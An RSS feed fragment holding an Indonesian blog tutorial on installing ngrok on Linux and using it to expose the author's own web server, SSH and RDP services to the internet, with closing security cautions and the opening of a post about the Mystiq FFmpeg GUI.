&lt;li&gt;blog ini tidak menjadi terlalu panjang di bagian instalasi, dan&lt;/li&gt;
&lt;li&gt;alasan relevansi, karena saya menginstall dan menjalankan ngrok di (kali) linux.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Jadi, untuk kalian yang menggunakan sistem operasi selain linux (khususnya debian-based distro), silakan merujuk ke halaman official Ngrok di sini:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://ngrok.com/download&quot; target=&quot;_blank&quot;&gt;https://ngrok.com/download&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Di halaman official-nya tersebut, dijelaskan secara detail cara melakukan instalasi Ngrok di setiap sistem operasi.&lt;/p&gt;&lt;section&gt;&lt;h2&gt;Instalasi Ngrok di Linux&lt;a href=&quot;#instalasi-ngrok-di-linux&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Kita dapat menginstall Ngrok dengan 3 cara:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Via zip file&lt;/li&gt;
&lt;li&gt;Via apt (&lt;em&gt;debian-based only&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Via snap&lt;/li&gt;
&lt;/ol&gt;&lt;section&gt;&lt;h3&gt;Via Zip File&lt;a href=&quot;#via-zip-file&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Jika ingin menginstall via zip file, kita perlu memilih dan mengunduh file zip-nya terlebih dahulu sesuai dengan arsitektur sistem operasi linux yang kita gunakan.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;625&quot; height=&quot;543&quot; src=&quot;/_astro/ss1.BHvorOvQ_hezKP.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Saya akan mengunduh file &lt;strong&gt;x86-64&lt;/strong&gt; karena arsitektur OS saya memang x86_64.&lt;/p&gt;&lt;p&gt;Untuk mengecek arsitektur komputernya, kita dapat mengetikkan perintah berikut di terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;arch&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;522&quot; height=&quot;328&quot; src=&quot;/_astro/ss2.DxRqi8Ny_Z1G0gC7.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Setelah selesai mengunduh file zip-nya, kita dapat mengetikkan perintah berikut di terminal untuk menginstallnya”&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;tar&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;xvzf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/Downloads/ngrok-v3-stable-linux-amd64.tgz&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-C&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/usr/local/bin&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Pada dasarnya, perintah tersebut akan mengekstrak file &lt;em&gt;&lt;strong&gt;binary&lt;/strong&gt;&lt;/em&gt; dari file zip tersebut untuk kemudian disimpan di &lt;em&gt;PATH&lt;/em&gt; &lt;code&gt;/usr/local/bin&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Atau kalau kita mau melakukannya secara manual, kira-kira bentuknya sama dengan perintah berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;873&quot; height=&quot;518&quot; src=&quot;/_astro/ss3.ZcldTPZS_2uvE0p.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Dengan demikian, Ngrok sudah berhasil kita install di komputer kita via zip file.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Via apt&lt;a href=&quot;#via-apt&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk melakukan instalasi via &lt;em&gt;package manager&lt;/em&gt; (apt), kita dapat mengetikkan perintah berikut di terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-s&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://ngrok-agent.s3.amazonaws.com/ngrok.asc&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;tee&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/apt/trusted.gpg.d/ngrok.asc&lt;/span&gt;&lt;span&gt; &amp;gt;&lt;/span&gt;&lt;span&gt;/dev/null&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;echo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;deb https://ngrok-agent.s3.amazonaws.com buster main&quot;&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;tee&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/apt/sources.list.d/ngrok.list&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;update&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ngrok&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Apa yang dilakukan oleh perintah tersebut? Mari kita bedah…&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Perintah &lt;code&gt;curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc &amp;gt;/dev/null&lt;/code&gt; akan
mengunduh &lt;em&gt;public key&lt;/em&gt; dari &lt;em&gt;repository&lt;/em&gt; Ngrok ke /etc/apt/trusted.gpg.d.&lt;/li&gt;
&lt;li&gt;Perintah &lt;code&gt;echo &quot;deb https://ngrok-agent.s3.amazonaws.com buster main&quot; | sudo tee /etc/apt/sources.list.d/ngrok.list&lt;/code&gt; akan
menyimpan &lt;em&gt;repository&lt;/em&gt; Ngrok ke /etc/apt/sources.list.d.&lt;/li&gt;
&lt;li&gt;Perintah &lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt install ngrok&lt;/code&gt; akan mengupdate &lt;em&gt;repository&lt;/em&gt; aktif di komputer kita dan menginstall Ngrok.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Sampai sini, kita sudah berhasil menginstall Ngrok via apt.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Via Snap&lt;a href=&quot;#via-snap&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk menginstall via snap, kita cukup mengetikkan perintah berikut di terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;snap&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ngrok&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Perlu diketahui, snap juga berfungsi seperti &lt;em&gt;package manager&lt;/em&gt;, jadi, sebelum dapat menginstall Ngrok via snap, kita terlebih dahulu
juga perlu menginstall snap.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;snap&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Ngrok berhasil diinstall via snap.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Demo&lt;a href=&quot;#demo&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Kita masuk ke bagian inti sekarang, yaitu demonstrasi penggunaan Ngrok untuk keperluan &lt;em&gt;publish&lt;/em&gt; layanan di localhost ke publik.&lt;/p&gt;&lt;p&gt;Tapi, sebelum kita masuk ke detail demo, kita perlu memastikan bahwa kita sudah menginputkan &lt;strong&gt;token&lt;/strong&gt; ke konfigurasi Ngrok, yaitu dengan mengetikkan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ngrok&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;add-authtoken&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;token&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Token tersebut hanya bisa didapatkan jika kita sudan membuat akun di website Ngrok&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. Jadi, jika kalian belum punya akun
di Ngrok, silakan buat akun terlebih dahulu.&lt;/p&gt;&lt;p&gt;Jika sudah membuat akun, token Ngrok dapat ditemukan di menu &lt;strong&gt;Your Authtoken&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;645&quot; height=&quot;218&quot; src=&quot;/_astro/ss7.B_B4KS4x_Z1ri96g.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Di sini, saya akan mendemokan penggunaan Ngrok untuk mengekspos 3 &lt;em&gt;services&lt;/em&gt;, yaitu&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Web Server&lt;/li&gt;
&lt;li&gt;SSH, dan&lt;/li&gt;
&lt;li&gt;RDP&lt;/li&gt;
&lt;/ul&gt;&lt;section&gt;&lt;h2&gt;Web Server&lt;a href=&quot;#web-server&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Saya akan menggunakan salah satu layanan web server dari Python, yaitu &lt;a href=&quot;https://github.com/sc0tfree/updog&quot; target=&quot;_blank&quot;&gt;updog&lt;/a&gt; di port 8000:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;881&quot; height=&quot;290&quot; src=&quot;/_astro/ss4.Bw5owLaf_7yGIb.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Oke, web server sudah berjalan di localhost&amp;lt;8000&amp;gt; yang menyediakan akses untuk semua file di komputer lokal
saya, secara spesifik di direktori /home/wildan/ngrok.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;768&quot; src=&quot;/_astro/ss5.B2EZWl69_Z1rrvIt.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Sekarang, kita akan mengekspos web saya di localhost tersebut dengan ngrok.&lt;/p&gt;&lt;p&gt;Caranya, saya akan mengetikkan perintah berikut di terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ngrok&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;8000&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Perintah tersebut berarti memintah ngrok untuk menyediakan URL untuk web server di port 8000 di komputer kita.&lt;/p&gt;&lt;p&gt;Setelah mengetikkan perintah tersebut, maka ngrok akan menyediakan URL yang sudah kita minta sebagai berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1180&quot; height=&quot;346&quot; src=&quot;/_astro/ss6.B3hICb2M_64M5g.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kalau saya membuka link yang terdapat di bagian &lt;em&gt;&lt;strong&gt;Forwarding&lt;/strong&gt;&lt;/em&gt; tersebut, kita akan menjumpai web server updog
saya sama persis yang berjalan di localhost:&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://4383-2001-448a-114c-1db0-3d52-30e6-64dd-2511.ngrok-free.app&lt;/code&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;768&quot; src=&quot;/_astro/ss8.DzMwI9_K_2vpVN1.webp&quot; /&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Link tersebut hanya aktif selagi saya masih menjalankan ngrok&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;SSH&lt;a href=&quot;#ssh&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Pada skema SSH ini, saya akan menggunakan laptop saya ini sebagai server yang menjalankan SSH (&lt;em&gt;Secure Shell&lt;/em&gt;) server.
Kemudian, saya akan mencoba melakukan &lt;em&gt;remote login&lt;/em&gt; dari URL Ngrok via android (aplikasi &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.server.auditor.ssh.client&amp;amp;hl=en_US&amp;amp;pli=1&quot; target=&quot;_blank&quot;&gt;Termius&lt;/a&gt;).
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1344&quot; height=&quot;445&quot; src=&quot;/_astro/ss14.59-k4dKg_Z12uLeU.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Pertama-tama, saya akan jalankan SSH server terlebih dahulu.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ssh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;803&quot; height=&quot;529&quot; src=&quot;/_astro/ss9.Brsambi4_1bd7L5.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Oke, terpantau SSH server sudah &lt;em&gt;ready&lt;/em&gt; di port 22.&lt;/p&gt;&lt;p&gt;Sekarang, saya akan buat &lt;em&gt;tunnel&lt;/em&gt;-nya dengan Ngrok.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ngrok&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;tcp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;22&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;832&quot; height=&quot;374&quot; src=&quot;/_astro/ss10.DURc9As2_1oQrbI.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Oke, Ngrok sudah &lt;em&gt;running&lt;/em&gt; tanpa kendala.&lt;/p&gt;&lt;p&gt;Kemudian, di Termius, saya mengetikkan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ssh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wildan@0.tcp.ngrok.io:14826&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;960&quot; height=&quot;442&quot; src=&quot;/_astro/ss11.DLOqWj73_J0Df5.webp&quot; /&gt;
Login via SSH di Termius.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;795&quot; height=&quot;573&quot; src=&quot;/_astro/ss12.CUwwr9xs_Z1ITqeY.webp&quot; /&gt;
Acc &lt;em&gt;fingerprint&lt;/em&gt;, kemudian input password, dan …&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;542&quot; height=&quot;602&quot; src=&quot;/_astro/ss13.DG1fsSHc_ZavVPb.webp&quot; /&gt;
Boom! Berhasil login!&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Via RDP&lt;a href=&quot;#via-rdp&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Di skema RDP (&lt;em&gt;Remote Desktop Protocol&lt;/em&gt;) ini, saya juga akan menggunakan laptop saya ini sebagai server dan kemudian
client-nya akan menggunakan android (via aplikasi &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.microsoft.rdc.androidx&amp;amp;hl=en_US&quot; target=&quot;_blank&quot;&gt;Remote Desktop&lt;/a&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1347&quot; height=&quot;444&quot; src=&quot;/_astro/ss15.FvQgDloY_ZnT6nq.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Pertama-tama, saya akan jalankan server RDP-nya terlebih dahulu…&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;xrdp&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;836&quot; height=&quot;578&quot; src=&quot;/_astro/ss16.X0JnvW75_Z2ux7tc.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Server RDP sudah berjalan di port 3389.&lt;/p&gt;&lt;p&gt;Sekarang, kita akan jalankan ngrok.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ngrok&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;tcp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3389&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;834&quot; height=&quot;365&quot; src=&quot;/_astro/ss17.CGwHhDp2_Z1bLjA2.webp&quot; /&gt;
Sip, Ngrok juga sudah &lt;em&gt;running&lt;/em&gt; dengan baik…&lt;/p&gt;&lt;p&gt;Sekarang, saya akan coba me-&lt;em&gt;remote&lt;/em&gt; laptop saya ini via RDP di android.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;980&quot; height=&quot;1280&quot; src=&quot;/_astro/tele5.aNXijDrw_ZLh4Ra.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berhasil RDP!&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Walaupun belum bisa login (karena entah kenapa saya juga gak paham), tapi setidaknya sudah terbukti bahwa kita
bisa melakukan akses jarak jauh via RDP menggunakan bantuan Ngrok.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Poin minus Ngrok&lt;a href=&quot;#poin-minus-ngrok&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Tentu, Ngrok sebagai aplikasi biasa juga memiliki kekurangan. Beberapa kekurangan Ngrok menurut saya adalah&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Sangat lamban, sehingga rawan kehilangan koneksi. Tapi, hal ini dapat dipahami karena server Ngrok sendiri memang
tidak ada di Indonesia. Bisa dilihat di &lt;em&gt;screenshot&lt;/em&gt; Ngrok pada bagian &lt;em&gt;&lt;strong&gt;Latency&lt;/strong&gt;&lt;/em&gt;, ping server-nya berkisar di 200-300 ms.
Sangat lamban!&lt;/li&gt;
&lt;li&gt;Versi gratisnya terbatas hanya dapat digunakan di 1 service saja. Artinya, jika kita sudah menjalankan Ngrok untuk
menyediakan layanan web, maka kita tidak bisa menggunakannya juga untuk menyediakan layanan di SSH, misalnya, atau di RDP.
Jadi, kalau kita mau mengganti layanan ke SSH, kita perlu mematikan Ngrok yang berjalan di web terlebih dahulu. Atau opsi
lainnya adalah&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;upgrade Ngrok ke versi berbayar&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Okey, okey, sekian dulu tutorial tentang Ngrok kali ini.&lt;/p&gt;&lt;p&gt;Sebelum ditutup, satu lagi catatan saya ketika kalian mau menggunakan
Ngrok untuk mengekspos server lokal kalian ke publik adalah mempertimbangkan juga mengenai isu keamanan (&lt;em&gt;security&lt;/em&gt;).
Jangan sembarangan mengekspos layanan penting seperti SSH ke sembarang jaringan kecuali 3 hal:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;kalian sudah mengkonfigurasi &lt;em&gt;service&lt;/em&gt; tersebut dengan aman (misalnya passwordnya susah dan panjang).&lt;/li&gt;
&lt;li&gt;kalian sudah memahami resiko mengekspos layanan penting ke publik (misalnya jadi bahan &lt;em&gt;bruteforce&lt;/em&gt; para &lt;em&gt;&lt;strong&gt;hacker&lt;/strong&gt;&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;kalian siap menerima konsekuensi atau akibat dari kecerobohan kalian (misalnya laptop kalian kena &lt;em&gt;hack&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Demikian, semoga bisa jadi pertimbangan…&lt;/p&gt;&lt;p&gt;Sampai jumpa lagi di blog saya selanjutnya!!!&lt;/p&gt;&lt;p&gt;See you!&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://dashboard.ngrok.com/login&quot; target=&quot;_blank&quot;&gt;https://dashboard.ngrok.com/login&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Mystiq - FFmpeg&apos;s GUI</title><link>https://shangdi.github.io/posts/tech/mystiq/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/mystiq/</guid><description>Do you know FFmpeg? This is the GUI version of it. (If you don&apos;t like FFmpeg CLI version, this is the your right choice!)</description><pubDate>Tue, 26 Mar 2024 10:56:16 GMT</pubDate><content:encoded>&lt;p&gt;Hola!&lt;/p&gt;
&lt;p&gt;Kali ini saya akan berbagi satu &lt;em&gt;tools&lt;/em&gt; yang secara fungsi mungkin 11-12 dengan FFmpeg, tapi dia punya tampilan yang lebih &lt;em&gt;user-friendly&lt;/em&gt;, nama &lt;em&gt;tools&lt;/em&gt;-nya adalah &lt;strong&gt;Mystiq&lt;/strong&gt;. Secara sederhana, Mystiq adalah &lt;em&gt;media converter&lt;/em&gt; yang juga merupakan GUI (&lt;em&gt;Graphical User Interface&lt;/em&gt;) dari FFmpeg&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
